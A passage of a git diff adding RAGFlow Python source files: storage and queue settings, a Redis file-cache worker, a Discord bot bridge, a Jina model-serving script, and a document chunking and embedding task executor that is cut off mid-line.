License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import logging +from api.utils.configs import get_base_config, decrypt_database_config +from api.utils.file_utils import get_project_base_directory + +# Server +RAG_CONF_PATH = os.path.join(get_project_base_directory(), "conf") + +# Get storage type and document engine from system environment variables +STORAGE_IMPL_TYPE = os.getenv('STORAGE_IMPL', 'MINIO') +DOC_ENGINE = os.getenv('DOC_ENGINE', 'elasticsearch') + +ES = {} +INFINITY = {} +AZURE = {} +S3 = {} +MINIO = {} +OSS = {} +OS = {} + +# Initialize the selected configuration data based on environment variables to solve the problem of initialization errors due to lack of configuration +if DOC_ENGINE == 'elasticsearch': + ES = get_base_config("es", {}) +elif DOC_ENGINE == 'opensearch': + OS = get_base_config("os", {}) +elif DOC_ENGINE == 'infinity': + INFINITY = get_base_config("infinity", {"uri": "infinity:23817"}) + +if STORAGE_IMPL_TYPE in ['AZURE_SPN', 'AZURE_SAS']: + AZURE = get_base_config("azure", {}) +elif STORAGE_IMPL_TYPE == 'AWS_S3': + S3 = get_base_config("s3", {}) +elif STORAGE_IMPL_TYPE == 'MINIO': + MINIO = decrypt_database_config(name="minio") +elif STORAGE_IMPL_TYPE == 'OSS': + OSS = get_base_config("oss", {}) + +try: + REDIS = decrypt_database_config(name="redis") +except Exception: + REDIS = {} + pass +DOC_MAXIMUM_SIZE = int(os.environ.get("MAX_CONTENT_LENGTH", 128 * 1024 * 1024)) +DOC_BULK_SIZE = int(os.environ.get("DOC_BULK_SIZE", 4)) +EMBEDDING_BATCH_SIZE = int(os.environ.get("EMBEDDING_BATCH_SIZE", 16)) +SVR_QUEUE_NAME = "rag_flow_svr_queue" +SVR_CONSUMER_GROUP_NAME = "rag_flow_svr_task_broker" +PAGERANK_FLD = "pagerank_fea" +TAG_FLD = "tag_feas" + +PARALLEL_DEVICES = 0 +try: + import torch.cuda + PARALLEL_DEVICES = torch.cuda.device_count() + logging.info(f"found {PARALLEL_DEVICES} gpus") +except Exception: + logging.info("can't import package 'torch'") + +def print_rag_settings(): + logging.info(f"MAX_CONTENT_LENGTH: {DOC_MAXIMUM_SIZE}") + logging.info(f"MAX_FILE_COUNT_PER_USER: {int(os.environ.get('MAX_FILE_NUM_PER_USER', 0))}") + + +def get_svr_queue_name(priority: int) -> str: + if priority == 0: + return SVR_QUEUE_NAME + return f"{SVR_QUEUE_NAME}_{priority}" + +def get_svr_queue_names(): + return [get_svr_queue_name(priority) for priority in [1, 0]] diff --git a/rag/svr/cache_file_svr.py b/rag/svr/cache_file_svr.py new file mode 100644 index 0000000..5c984db --- /dev/null +++ b/rag/svr/cache_file_svr.py @@ -0,0 +1,60 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import time +import traceback + +from api.db.db_models import close_connection +from api.db.services.task_service import TaskService +from rag.utils.storage_factory import STORAGE_IMPL +from rag.utils.redis_conn import REDIS_CONN + + +def collect(): + doc_locations = TaskService.get_ongoing_doc_name() + logging.debug(doc_locations) + if len(doc_locations) == 0: + time.sleep(1) + return + return doc_locations + + +def main(): + locations = collect() + if not locations: + return + logging.info(f"TASKS: {len(locations)}") + for kb_id, loc in locations: + try: + if REDIS_CONN.is_alive(): + try: + key = "{}/{}".format(kb_id, loc) + if REDIS_CONN.exist(key): + continue + file_bin = STORAGE_IMPL.get(kb_id, loc) + REDIS_CONN.transaction(key, file_bin, 12 * 60) + logging.info("CACHE: {}".format(loc)) + except Exception as e: + traceback.print_stack(e) + except Exception as e: + traceback.print_stack(e) + + +if __name__ == "__main__": + while True: + main() + close_connection() + time.sleep(1) \ No newline at end of file diff --git a/rag/svr/discord_svr.py b/rag/svr/discord_svr.py new file mode 100644 index 0000000..ec842c4 --- /dev/null +++ b/rag/svr/discord_svr.py @@ -0,0 +1,81 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import discord +import requests +import base64 +import asyncio + +URL = '{YOUR_IP_ADDRESS:PORT}/v1/api/completion_aibotk' # Default: https://demo.ragflow.io/v1/api/completion_aibotk + +JSON_DATA = { + "conversation_id": "xxxxxxxxxxxxxxxxxxxxxxxxxxx", # Get conversation id from /api/new_conversation + "Authorization": "ragflow-xxxxxxxxxxxxxxxxxxxxxxxxxxxxx", # RAGFlow Assistant Chat Bot API Key + "word": "" # User question, don't need to initialize +} + +DISCORD_BOT_KEY = "xxxxxxxxxxxxxxxxxxxxxxxxxx" #Get DISCORD_BOT_KEY from Discord Application + + +intents = discord.Intents.default() +intents.message_content = True +client = discord.Client(intents=intents) + + +@client.event +async def on_ready(): + logging.info(f'We have logged in as {client.user}') + + +@client.event +async def on_message(message): + if message.author == client.user: + return + + if client.user.mentioned_in(message): + + if len(message.content.split('> ')) == 1: + await message.channel.send("Hi~ How can I help you? ") + else: + JSON_DATA['word']=message.content.split('> ')[1] + response = requests.post(URL, json=JSON_DATA) + response_data = response.json().get('data', []) + image_bool = False + + for i in response_data: + if i['type'] == 1: + res = i['content'] + if i['type'] == 3: + image_bool = True + image_data = base64.b64decode(i['url']) + with open('tmp_image.png','wb') as file: + file.write(image_data) + image= discord.File('tmp_image.png') + + await message.channel.send(f"{message.author.mention}{res}") + + if image_bool: + await message.channel.send(file=image) + + +loop = asyncio.get_event_loop() + +try: + loop.run_until_complete(client.start(DISCORD_BOT_KEY)) +except KeyboardInterrupt: + loop.run_until_complete(client.close()) +finally: + loop.close() diff --git a/rag/svr/jina_server.py b/rag/svr/jina_server.py new file mode 100644 index 0000000..60bd0c8 --- /dev/null +++ b/rag/svr/jina_server.py @@ -0,0 +1,109 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from jina import Deployment +from docarray import BaseDoc +from jina import Executor, requests +from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfig +import argparse +import torch + + +class Prompt(BaseDoc): + message: list[dict] + gen_conf: dict + + +class Generation(BaseDoc): + text: str + + +tokenizer = None +model_name = "" + + +class TokenStreamingExecutor(Executor): + def __init__(self, **kwargs): + super().__init__(**kwargs) + self.model = AutoModelForCausalLM.from_pretrained( + model_name, device_map="auto", torch_dtype="auto" + ) + + @requests(on="/chat") + async def generate(self, doc: Prompt, **kwargs) -> Generation: + text = tokenizer.apply_chat_template( + doc.message, + tokenize=False, + ) + inputs = tokenizer([text], return_tensors="pt") + generation_config = GenerationConfig( + **doc.gen_conf, + eos_token_id=tokenizer.eos_token_id, + pad_token_id=tokenizer.eos_token_id + ) + generated_ids = self.model.generate( + inputs.input_ids, generation_config=generation_config + ) + generated_ids = [ + output_ids[len(input_ids) :] + for input_ids, output_ids in zip(inputs.input_ids, generated_ids) + ] + + response = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0] + yield Generation(text=response) + + @requests(on="/stream") + async def task(self, doc: Prompt, **kwargs) -> Generation: + text = tokenizer.apply_chat_template( + doc.message, + tokenize=False, + ) + input = tokenizer([text], return_tensors="pt") + input_len = input["input_ids"].shape[1] + max_new_tokens = 512 + if "max_new_tokens" in doc.gen_conf: + max_new_tokens = doc.gen_conf.pop("max_new_tokens") + generation_config = GenerationConfig( + **doc.gen_conf, + eos_token_id=tokenizer.eos_token_id, + pad_token_id=tokenizer.eos_token_id + ) + for _ in range(max_new_tokens): + output = self.model.generate( + **input, max_new_tokens=1, generation_config=generation_config + ) + if output[0][-1] == tokenizer.eos_token_id: + break + yield Generation( + text=tokenizer.decode(output[0][input_len:], skip_special_tokens=True) + ) + input = { + "input_ids": output, + "attention_mask": torch.ones(1, len(output[0])), + } + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("--model_name", type=str, help="Model name or path") + parser.add_argument("--port", default=12345, type=int, help="Jina serving port") + args = parser.parse_args() + model_name = args.model_name + tokenizer = AutoTokenizer.from_pretrained(args.model_name) + with Deployment( + uses=TokenStreamingExecutor, port=args.port, protocol="grpc" + ) as dep: + dep.block() diff --git a/rag/svr/task_executor.py b/rag/svr/task_executor.py new file mode 100644 index 0000000..eb03a56 --- /dev/null +++ b/rag/svr/task_executor.py @@ -0,0 +1,1009 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# from beartype import BeartypeConf +# from beartype.claw import beartype_all # <-- you didn't sign up for this +# beartype_all(conf=BeartypeConf(violation_type=UserWarning)) # <-- emit warnings from all code +import random +import sys +import threading +import time + +import json_repair + +from api.db.services.canvas_service import UserCanvasService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.pipeline_operation_log_service import PipelineOperationLogService +from api.utils.api_utils import timeout +from api.utils.base64_image import image2id +from api.utils.log_utils import init_root_logger, get_project_base_directory +from graphrag.general.index import run_graphrag_for_kb +from graphrag.utils import get_llm_cache, set_llm_cache, get_tags_from_cache, set_tags_to_cache +from rag.flow.pipeline import Pipeline +from rag.prompts.generator import keyword_extraction, question_proposal, content_tagging +import logging +import os +from datetime import datetime +import json +import xxhash +import copy +import re +from functools import partial +from multiprocessing.context import TimeoutError +from timeit import default_timer as timer +import tracemalloc +import signal +import trio +import exceptiongroup +import faulthandler +import numpy as np +from peewee import DoesNotExist +from api.db import LLMType, ParserType, PipelineTaskType +from api.db.services.document_service import DocumentService +from api.db.services.llm_service import LLMBundle +from api.db.services.task_service import TaskService, has_canceled, CANVAS_DEBUG_DOC_ID, GRAPH_RAPTOR_FAKE_DOC_ID +from api.db.services.file2document_service import File2DocumentService +from api import settings +from api.versions import get_ragflow_version +from api.db.db_models import close_connection +from rag.app import laws, paper, presentation, manual, qa, table, book, resume, picture, naive, one, audio, \ + email, tag +from rag.nlp import search, rag_tokenizer, add_positions +from rag.raptor import RecursiveAbstractiveProcessing4TreeOrganizedRetrieval as Raptor +from rag.settings import DOC_MAXIMUM_SIZE, DOC_BULK_SIZE, EMBEDDING_BATCH_SIZE, SVR_CONSUMER_GROUP_NAME, get_svr_queue_name, get_svr_queue_names, print_rag_settings, TAG_FLD, PAGERANK_FLD +from rag.utils import num_tokens_from_string, truncate +from rag.utils.redis_conn import REDIS_CONN, RedisDistributedLock +from rag.utils.storage_factory import STORAGE_IMPL +from graphrag.utils import chat_limiter + +BATCH_SIZE = 64 + +FACTORY = { + "general": naive, + ParserType.NAIVE.value: naive, + ParserType.PAPER.value: paper, + ParserType.BOOK.value: book, + ParserType.PRESENTATION.value: presentation, + ParserType.MANUAL.value: manual, + ParserType.LAWS.value: laws, + ParserType.QA.value: qa, + ParserType.TABLE.value: table, + ParserType.RESUME.value: resume, + ParserType.PICTURE.value: picture, + ParserType.ONE.value: one, + ParserType.AUDIO.value: audio, + ParserType.EMAIL.value: email, + ParserType.KG.value: naive, + ParserType.TAG.value: tag +} + +TASK_TYPE_TO_PIPELINE_TASK_TYPE = { + "dataflow" : PipelineTaskType.PARSE, + "raptor": PipelineTaskType.RAPTOR, + "graphrag": PipelineTaskType.GRAPH_RAG, + "mindmap": PipelineTaskType.MINDMAP, +} + +UNACKED_ITERATOR = None + +CONSUMER_NO = "0" if len(sys.argv) < 2 else sys.argv[1] +CONSUMER_NAME = "task_executor_" + CONSUMER_NO +BOOT_AT = datetime.now().astimezone().isoformat(timespec="milliseconds") +PENDING_TASKS = 0 +LAG_TASKS = 0 +DONE_TASKS = 0 +FAILED_TASKS = 0 + +CURRENT_TASKS = {} + +MAX_CONCURRENT_TASKS = int(os.environ.get('MAX_CONCURRENT_TASKS', "5")) +MAX_CONCURRENT_CHUNK_BUILDERS = int(os.environ.get('MAX_CONCURRENT_CHUNK_BUILDERS', "1")) +MAX_CONCURRENT_MINIO = int(os.environ.get('MAX_CONCURRENT_MINIO', '10')) +task_limiter = trio.Semaphore(MAX_CONCURRENT_TASKS) +chunk_limiter = trio.CapacityLimiter(MAX_CONCURRENT_CHUNK_BUILDERS) +embed_limiter = trio.CapacityLimiter(MAX_CONCURRENT_CHUNK_BUILDERS) +minio_limiter = trio.CapacityLimiter(MAX_CONCURRENT_MINIO) +kg_limiter = trio.CapacityLimiter(2) +WORKER_HEARTBEAT_TIMEOUT = int(os.environ.get('WORKER_HEARTBEAT_TIMEOUT', '120')) +stop_event = threading.Event() + + +def signal_handler(sig, frame): + logging.info("Received interrupt signal, shutting down...") + stop_event.set() + time.sleep(1) + sys.exit(0) + + +# SIGUSR1 handler: start tracemalloc and take snapshot +def start_tracemalloc_and_snapshot(signum, frame): + if not tracemalloc.is_tracing(): + logging.info("start tracemalloc") + tracemalloc.start() + else: + logging.info("tracemalloc is already running") + + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + snapshot_file = f"snapshot_{timestamp}.trace" + snapshot_file = os.path.abspath(os.path.join(get_project_base_directory(), "logs", f"{os.getpid()}_snapshot_{timestamp}.trace")) + + snapshot = tracemalloc.take_snapshot() + snapshot.dump(snapshot_file) + current, peak = tracemalloc.get_traced_memory() + if sys.platform == "win32": + import psutil + process = psutil.Process() + max_rss = process.memory_info().rss / 1024 + else: + import resource + max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss + logging.info(f"taken snapshot {snapshot_file}. max RSS={max_rss / 1000:.2f} MB, current memory usage: {current / 10**6:.2f} MB, Peak memory usage: {peak / 10**6:.2f} MB") + + +# SIGUSR2 handler: stop tracemalloc +def stop_tracemalloc(signum, frame): + if tracemalloc.is_tracing(): + logging.info("stop tracemalloc") + tracemalloc.stop() + else: + logging.info("tracemalloc not running") + + +class TaskCanceledException(Exception): + def __init__(self, msg): + self.msg = msg + + +def set_progress(task_id, from_page=0, to_page=-1, prog=None, msg="Processing..."): + try: + if prog is not None and prog < 0: + msg = "[ERROR]" + msg + cancel = has_canceled(task_id) + + if cancel: + msg += " [Canceled]" + prog = -1 + + if to_page > 0: + if msg: + if from_page < to_page: + msg = f"Page({from_page + 1}~{to_page + 1}): " + msg + if msg: + msg = datetime.now().strftime("%H:%M:%S") + " " + msg + d = {"progress_msg": msg} + if prog is not None: + d["progress"] = prog + + TaskService.update_progress(task_id, d) + + close_connection() + if cancel: + raise TaskCanceledException(msg) + logging.info(f"set_progress({task_id}), progress: {prog}, progress_msg: {msg}") + except DoesNotExist: + logging.warning(f"set_progress({task_id}) got exception DoesNotExist") + except Exception: + logging.exception(f"set_progress({task_id}), progress: {prog}, progress_msg: {msg}, got exception") + + +async def collect(): + global CONSUMER_NAME, DONE_TASKS, FAILED_TASKS + global UNACKED_ITERATOR + + svr_queue_names = get_svr_queue_names() + try: + if not UNACKED_ITERATOR: + UNACKED_ITERATOR = REDIS_CONN.get_unacked_iterator(svr_queue_names, SVR_CONSUMER_GROUP_NAME, CONSUMER_NAME) + try: + redis_msg = next(UNACKED_ITERATOR) + except StopIteration: + for svr_queue_name in svr_queue_names: + redis_msg = REDIS_CONN.queue_consumer(svr_queue_name, SVR_CONSUMER_GROUP_NAME, CONSUMER_NAME) + if redis_msg: + break + except Exception: + logging.exception("collect got exception") + return None, None + + if not redis_msg: + return None, None + msg = redis_msg.get_message() + if not msg: + logging.error(f"collect got empty message of {redis_msg.get_msg_id()}") + redis_msg.ack() + return None, None + + canceled = False + if msg.get("doc_id", "") in [GRAPH_RAPTOR_FAKE_DOC_ID, CANVAS_DEBUG_DOC_ID]: + task = msg + if task["task_type"] in ["graphrag", "raptor", "mindmap"] and msg.get("doc_ids", []): + task = TaskService.get_task(msg["id"], msg["doc_ids"]) + task["doc_ids"] = msg["doc_ids"] + else: + task = TaskService.get_task(msg["id"]) + + if task: + canceled = has_canceled(task["id"]) + if not task or canceled: + state = "is unknown" if not task else "has been cancelled" + FAILED_TASKS += 1 + logging.warning(f"collect task {msg['id']} {state}") + redis_msg.ack() + return None, None + + task_type = msg.get("task_type", "") + task["task_type"] = task_type + if task_type[:8] == "dataflow": + task["tenant_id"] = msg["tenant_id"] + task["dataflow_id"] = msg["dataflow_id"] + task["kb_id"] = msg.get("kb_id", "") + return redis_msg, task + + +async def get_storage_binary(bucket, name): + return await trio.to_thread.run_sync(lambda: STORAGE_IMPL.get(bucket, name)) + + +@timeout(60*80, 1) +async def build_chunks(task, progress_callback): + if task["size"] > DOC_MAXIMUM_SIZE: + set_progress(task["id"], prog=-1, msg="File size exceeds( <= %dMb )" % + (int(DOC_MAXIMUM_SIZE / 1024 / 1024))) + return [] + + chunker = FACTORY[task["parser_id"].lower()] + try: + st = timer() + bucket, name = File2DocumentService.get_storage_address(doc_id=task["doc_id"]) + binary = await get_storage_binary(bucket, name) + logging.info("From minio({}) {}/{}".format(timer() - st, task["location"], task["name"])) + except TimeoutError: + progress_callback(-1, "Internal server error: Fetch file from minio timeout. Could you try it again.") + logging.exception( + "Minio {}/{} got timeout: Fetch file from minio timeout.".format(task["location"], task["name"])) + raise + except Exception as e: + if re.search("(No such file|not found)", str(e)): + progress_callback(-1, "Can not find file <%s> from minio. Could you try it again?" % task["name"]) + else: + progress_callback(-1, "Get file from minio: %s" % str(e).replace("'", "")) + logging.exception("Chunking {}/{} got exception".format(task["location"], task["name"])) + raise + + try: + async with chunk_limiter: + cks = await trio.to_thread.run_sync(lambda: chunker.chunk(task["name"], binary=binary, from_page=task["from_page"], + to_page=task["to_page"], lang=task["language"], callback=progress_callback, + kb_id=task["kb_id"], parser_config=task["parser_config"], tenant_id=task["tenant_id"])) + logging.info("Chunking({}) {}/{} done".format(timer() - st, task["location"], task["name"])) + except TaskCanceledException: + raise + except Exception as e: + progress_callback(-1, "Internal server error while chunking: %s" % str(e).replace("'", "")) + logging.exception("Chunking {}/{} got exception".format(task["location"], task["name"])) + raise + + docs = [] + doc = { + "doc_id": task["doc_id"], + "kb_id": str(task["kb_id"]) + } + if task["pagerank"]: + doc[PAGERANK_FLD] = int(task["pagerank"]) + st = timer() + + @timeout(60) + async def upload_to_minio(document, chunk): + try: + d = copy.deepcopy(document) + d.update(chunk) + d["id"] = xxhash.xxh64((chunk["content_with_weight"] + str(d["doc_id"])).encode("utf-8", "surrogatepass")).hexdigest() + d["create_time"] = str(datetime.now()).replace("T", " ")[:19] + d["create_timestamp_flt"] = datetime.now().timestamp() + if not d.get("image"): + _ = d.pop("image", None) + d["img_id"] = "" + docs.append(d) + return + await image2id(d, partial(STORAGE_IMPL.put), d["id"], task["kb_id"]) + docs.append(d) + except Exception: + logging.exception( + "Saving image of chunk {}/{}/{} got exception".format(task["location"], task["name"], d["id"])) + raise + + async with trio.open_nursery() as nursery: + for ck in cks: + nursery.start_soon(upload_to_minio, doc, ck) + + el = timer() - st + logging.info("MINIO PUT({}) cost {:.3f} s".format(task["name"], el)) + + if task["parser_config"].get("auto_keywords", 0): + st = timer() + progress_callback(msg="Start to generate keywords for every chunk ...") + chat_mdl = LLMBundle(task["tenant_id"], LLMType.CHAT, llm_name=task["llm_id"], lang=task["language"]) + + async def doc_keyword_extraction(chat_mdl, d, topn): + cached = get_llm_cache(chat_mdl.llm_name, d["content_with_weight"], "keywords", {"topn": topn}) + if not cached: + async with chat_limiter: + cached = await trio.to_thread.run_sync(lambda: keyword_extraction(chat_mdl, d["content_with_weight"], topn)) + set_llm_cache(chat_mdl.llm_name, d["content_with_weight"], cached, "keywords", {"topn": topn}) + if cached: + d["important_kwd"] = cached.split(",") + d["important_tks"] = rag_tokenizer.tokenize(" ".join(d["important_kwd"])) + return + async with trio.open_nursery() as nursery: + for d in docs: + nursery.start_soon(doc_keyword_extraction, chat_mdl, d, task["parser_config"]["auto_keywords"]) + progress_callback(msg="Keywords generation {} chunks completed in {:.2f}s".format(len(docs), timer() - st)) + + if task["parser_config"].get("auto_questions", 0): + st = timer() + progress_callback(msg="Start to generate questions for every chunk ...") + chat_mdl = LLMBundle(task["tenant_id"], LLMType.CHAT, llm_name=task["llm_id"], lang=task["language"]) + + async def doc_question_proposal(chat_mdl, d, topn): + cached = get_llm_cache(chat_mdl.llm_name, d["content_with_weight"], "question", {"topn": topn}) + if not cached: + async with chat_limiter: + cached = await trio.to_thread.run_sync(lambda: question_proposal(chat_mdl, d["content_with_weight"], topn)) + set_llm_cache(chat_mdl.llm_name, d["content_with_weight"], cached, "question", {"topn": topn}) + if cached: + d["question_kwd"] = cached.split("\n") + d["question_tks"] = rag_tokenizer.tokenize("\n".join(d["question_kwd"])) + async with trio.open_nursery() as nursery: + for d in docs: + nursery.start_soon(doc_question_proposal, chat_mdl, d, task["parser_config"]["auto_questions"]) + progress_callback(msg="Question generation {} chunks completed in {:.2f}s".format(len(docs), timer() - st)) + + if task["kb_parser_config"].get("tag_kb_ids", []): + progress_callback(msg="Start to tag for every chunk ...") + kb_ids = task["kb_parser_config"]["tag_kb_ids"] + tenant_id = task["tenant_id"] + topn_tags = task["kb_parser_config"].get("topn_tags", 3) + S = 1000 + st = timer() + examples = [] + all_tags = get_tags_from_cache(kb_ids) + if not all_tags: + all_tags = settings.retrievaler.all_tags_in_portion(tenant_id, kb_ids, S) + set_tags_to_cache(kb_ids, all_tags) + else: + all_tags = json.loads(all_tags) + + chat_mdl = LLMBundle(task["tenant_id"], LLMType.CHAT, llm_name=task["llm_id"], lang=task["language"]) + + docs_to_tag = [] + for d in docs: + task_canceled = has_canceled(task["id"]) + if task_canceled: + progress_callback(-1, msg="Task has been canceled.") + return + if settings.retrievaler.tag_content(tenant_id, kb_ids, d, all_tags, topn_tags=topn_tags, S=S) and len(d[TAG_FLD]) > 0: + examples.append({"content": d["content_with_weight"], TAG_FLD: d[TAG_FLD]}) + else: + docs_to_tag.append(d) + + async def doc_content_tagging(chat_mdl, d, topn_tags): + cached = get_llm_cache(chat_mdl.llm_name, d["content_with_weight"], all_tags, {"topn": topn_tags}) + if not cached: + picked_examples = random.choices(examples, k=2) if len(examples)>2 else examples + if not picked_examples: + picked_examples.append({"content": "This is an example", TAG_FLD: {'example': 1}}) + async with chat_limiter: + cached = await trio.to_thread.run_sync(lambda: content_tagging(chat_mdl, d["content_with_weight"], all_tags, picked_examples, topn=topn_tags)) + if cached: + cached = json.dumps(cached) + if cached: + set_llm_cache(chat_mdl.llm_name, d["content_with_weight"], cached, all_tags, {"topn": topn_tags}) + d[TAG_FLD] = json.loads(cached) + async with trio.open_nursery() as nursery: + for d in docs_to_tag: + nursery.start_soon(doc_content_tagging, chat_mdl, d, topn_tags) + progress_callback(msg="Tagging {} chunks completed in {:.2f}s".format(len(docs), timer() - st)) + + return docs + + +def init_kb(row, vector_size: int): + idxnm = search.index_name(row["tenant_id"]) + return settings.docStoreConn.createIdx(idxnm, row.get("kb_id", ""), vector_size) + + +async def embedding(docs, mdl, parser_config=None, callback=None): + if parser_config is None: + parser_config = {} + tts, cnts = [], [] + for d in docs: + tts.append(d.get("docnm_kwd", "Title")) + c = "\n".join(d.get("question_kwd", [])) + if not c: + c = d["content_with_weight"] + c = re.sub(r"</?(table|td|caption|tr|th)( [^<>]{0,12})?>", " ", c) + if not c: + c = "None" + cnts.append(c) + + tk_count = 0 + if len(tts) == len(cnts): + vts, c = await trio.to_thread.run_sync(lambda: mdl.encode(tts[0: 1])) + tts = np.concatenate([vts for _ in range(len(tts))], axis=0) + tk_count += c + + @timeout(60) + def batch_encode(txts): + nonlocal mdl + return mdl.encode([truncate(c, mdl.max_length-10) for c in txts]) + + cnts_ = np.array([]) + for i in range(0, len(cnts), EMBEDDING_BATCH_SIZE): + async with embed_limiter: + vts, c = await trio.to_thread.run_sync(lambda: batch_encode(cnts[i: i + EMBEDDING_BATCH_SIZE])) + if len(cnts_) == 0: + cnts_ = vts + else: + cnts_ = np.concatenate((cnts_, vts), axis=0) + tk_count += c + callback(prog=0.7 + 0.2 * (i + 1) / len(cnts), msg="") + cnts = cnts_ + filename_embd_weight = parser_config.get("filename_embd_weight", 0.1) # due to the db support none value + if not filename_embd_weight: + filename_embd_weight = 0.1 + title_w = float(filename_embd_weight) + vects = (title_w * tts + (1 - title_w) * + cnts) if len(tts) == len(cnts) else cnts + + assert len(vects) == len(docs) + vector_size = 0 + for i, d in enumerate(docs): + v = vects[i].tolist() + vector_size = len(v) + d["q_%d_vec" % len(v)] = v + return tk_count, vector_size + + +async def run_dataflow(task: dict): + task_start_ts = timer() + dataflow_id = task["dataflow_id"] + doc_id = task["doc_id"] + task_id = task["id"] + task_dataset_id = task["kb_id"] + + if task["task_type"] == "dataflow": + e, cvs = UserCanvasService.get_by_id(dataflow_id) + assert e, "User pipeline not found." + dsl = cvs.dsl + else: + e, pipeline_log = PipelineOperationLogService.get_by_id(dataflow_id) + assert e, "Pipeline log not found." + dsl = pipeline_log.dsl + dataflow_id = pipeline_log.pipeline_id + pipeline = Pipeline(dsl, tenant_id=task["tenant_id"], doc_id=doc_id, task_id=task_id, flow_id=dataflow_id) + chunks = await pipeline.run(file=task["file"]) if task.get("file") else await pipeline.run() + if doc_id == CANVAS_DEBUG_DOC_ID: + return + + if not chunks: + PipelineOperationLogService.create(document_id=doc_id, pipeline_id=dataflow_id, task_type=PipelineTaskType.PARSE, dsl=str(pipeline)) + return + + embedding_token_consumption = chunks.get("embedding_token_consumption", 0) + if chunks.get("chunks"): + chunks = copy.deepcopy(chunks["chunks"]) + elif chunks.get("json"): + chunks = copy.deepcopy(chunks["json"]) + elif chunks.get("markdown"): + chunks = [{"text": [chunks["markdown"]]}] + elif chunks.get("text"): + chunks = [{"text": [chunks["text"]]}] + elif chunks.get("html"): + chunks = [{"text": [chunks["html"]]}] + + keys = [k for o in chunks for k in list(o.keys())] + if not any([re.match(r"q_[0-9]+_vec", k) for k in keys]): + try: + set_progress(task_id, prog=0.82, msg="\n-------------------------------------\nStart to embedding...") + e, kb = KnowledgebaseService.get_by_id(task["kb_id"]) + embedding_id = kb.embd_id + embedding_model = LLMBundle(task["tenant_id"], LLMType.EMBEDDING, llm_name=embedding_id) + @timeout(60) + def batch_encode(txts): + nonlocal embedding_model + return embedding_model.encode([truncate(c, embedding_model.max_length - 10) for c in txts]) + vects = np.array([]) + texts = [o.get("questions", o.get("summary", o["text"])) for o in chunks] + delta = 0.20/(len(texts)//EMBEDDING_BATCH_SIZE+1) + prog = 0.8 + for i in range(0, len(texts), EMBEDDING_BATCH_SIZE): + async with embed_limiter: + vts, c = await trio.to_thread.run_sync(lambda: batch_encode(texts[i : i + EMBEDDING_BATCH_SIZE])) + if len(vects) == 0: + vects = vts + else: + vects = np.concatenate((vects, vts), axis=0) + embedding_token_consumption += c + prog += delta + if i % (len(texts)//EMBEDDING_BATCH_SIZE/100+1) == 1: + set_progress(task_id, prog=prog, msg=f"{i+1} / {len(texts)//EMBEDDING_BATCH_SIZE}") + + assert len(vects) == len(chunks) + for i, ck in enumerate(chunks): + v = vects[i].tolist() + ck["q_%d_vec" % len(v)] = v + except Exception as e: + set_progress(task_id, prog=-1, msg=f"[ERROR]: {e}") + PipelineOperationLogService.create(document_id=doc_id, pipeline_id=dataflow_id, task_type=PipelineTaskType.PARSE, dsl=str(pipeline)) + return + + + metadata = {} + def dict_update(meta): + nonlocal metadata + if not meta: + return + if isinstance(meta, str): + try: + meta = json_repair.loads(meta) + except Exception: + logging.error("Meta data format error.") + return + if not isinstance(meta, dict): + return + for k, v in meta.items(): + if isinstance(v, list): + v = [vv for vv in v if isinstance(vv, str)] + if not v: + continue + if not isinstance(v, list) and not isinstance(v, str): + continue + if k not in metadata: + metadata[k] = v + continue + if isinstance(metadata[k], list): + if isinstance(v, list): + metadata[k].extend(v) + else: + metadata[k].append(v) + else: + metadata[k] = v + + for ck in chunks: + ck["doc_id"] = doc_id + ck["kb_id"] = [str(task["kb_id"])] + ck["docnm_kwd"] = task["name"] + ck["create_time"] = str(datetime.now()).replace("T", " ")[:19] + ck["create_timestamp_flt"] = datetime.now().timestamp() + ck["id"] = xxhash.xxh64((ck["text"] + str(ck["doc_id"])).encode("utf-8")).hexdigest() + if "questions" in ck: + if "question_tks" not in ck: + ck["question_kwd"] = ck["questions"].split("\n") + ck["question_tks"] = rag_tokenizer.tokenize(str(ck["questions"])) + del ck["questions"] + if "keywords" in ck: + if "important_tks" not in ck: + ck["important_kwd"] = ck["keywords"].split(",") + ck["important_tks"] = 